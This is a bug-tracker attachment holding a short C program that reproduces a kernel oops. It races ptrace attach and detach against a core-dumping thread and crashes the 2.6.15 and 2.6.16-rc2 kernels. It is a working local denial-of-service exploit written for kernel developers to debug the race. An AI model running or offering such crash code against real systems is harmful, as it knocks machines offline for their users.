Attachment 159845 Details for Bug 207002 – utrace_get_signal() oops reproducer

utrace_get_signal() oops reproducer

expl_zap3.c (text/plain), 1.54 KB, created by Alexey Dobriyan on 2007-07-24 12:09:43 UTC

(hide)

Description:

Filename:

MIME Type:

Creator: Alexey Dobriyan

Created: 2007-07-24 12:09:43 UTC

Size: 1.54 KB

patch

obsolete

>/*
> * zap_threads() does __ptrace_unlink(p) under write_lock(tasklist_lock),
> * what if p->parent waits for tasklist_lock in ptrace_detach() ?
> *
> * This program crashes the kernel (both 2.6.15 and 2.6.16-rc2 were tested)
> * very quickly (BUG() in __ptrace_unlink).
> *
> */
>
>
>#include <errno.h>
>#include <stdio.h>
>#include <signal.h>
>#include <string.h>
>#include <stdlib.h>
>#include <unistd.h>
>#include <pthread.h>
>#include <sys/wait.h>
>#include <sys/ptrace.h>
>#include <sys/syscall.h>
>
>#ifndef __ia64__
>
>void die(const char* msg)
>{
>	printf("ERR!! %s: %s\n", msg, strerror(errno));
>	exit(-1);
>}
>
>#define clone_vm(func, stack)	\
>	({								\
>		int pid = clone(func, stack + sizeof(stack) / 2,	\
>				CLONE_VM, NULL);			\
>									\
>		if (pid < 0)						\
>			die("clone");					\
>									\
>		pid;							\
>	 })
>
>char child_stack[4096];
>
>int child_func(void *arg)
>{
>	return pause();
>}
>
>char cdump_stack[4096];
>
>int cdump_func(void *arg)
>{
>	return kill(syscall(__NR_getpid), SIGQUIT);
>}
>
>int main(void)
>{
>	int pid;
>
>	for (;;)
>		if ((pid = fork())) {
>			if (waitpid(pid, NULL, 0) != pid)
>				die("wait");
>			kill(-pid, SIGKILL);
>		} else {
>			int child;
>
>			if (setpgrp())
>				die("pgrp");
>
>			child = clone_vm(child_func, child_stack);
>
>			if (ptrace(PTRACE_ATTACH, child, NULL, 0))
>				die("ptrace");
>
>			if (waitpid(child, NULL, __WALL) != child)
>				die("wait");
>
>			clone_vm(cdump_func, cdump_stack);
>
>			if (ptrace(PTRACE_DETACH, child, NULL, 0))
>				die("detach");
>
>			break;
>		}
>
>	return 0;
>}
>
>#else
>#warning "Exploit is not compiled due to missing clone()"
>int main(){}
>#endif
>

Actions: View

Attachments on bug 207002: 136560 | 136561 | 139632 | 159845